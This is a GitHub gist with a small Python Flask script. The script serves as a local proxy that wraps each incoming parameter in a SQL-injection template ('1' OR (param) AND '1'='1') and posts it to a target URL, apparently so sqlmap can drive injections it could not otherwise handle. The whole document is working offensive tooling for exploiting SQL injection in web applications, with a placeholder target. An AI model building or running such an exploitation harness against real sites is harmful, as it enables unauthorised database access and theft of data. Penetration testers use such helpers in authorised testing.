Created
October 15, 2023 19:11
-
-
Save NicolaiSoeborg/946fb383b5928d4fee39e427ae1602cf to your computer and use it in GitHub Desktop.
Often sqlmap can't do what you want it to do, so this is a small helper to run a flask server locally and exploit 127.0.0.1:5000
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import httpx | |
from flask import Flask, request | |
URL = 'http://example.com/vuln' | |
client = httpx.Client(http2=True) | |
app = Flask(__name__) | |
@app.route("/vuln") | |
def hello_world(): | |
param = request.args['q'] | |
r = client.post(URL, data={ | |
'csrf': "csrf", | |
'vuln': f"""1' OR ({param}) AND '1'='1""", | |
#'vuln': param | |
}, headers={'Cookie': "hi"}) | |
return r.text | |
if __name__ == '__main__': | |
app.run() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment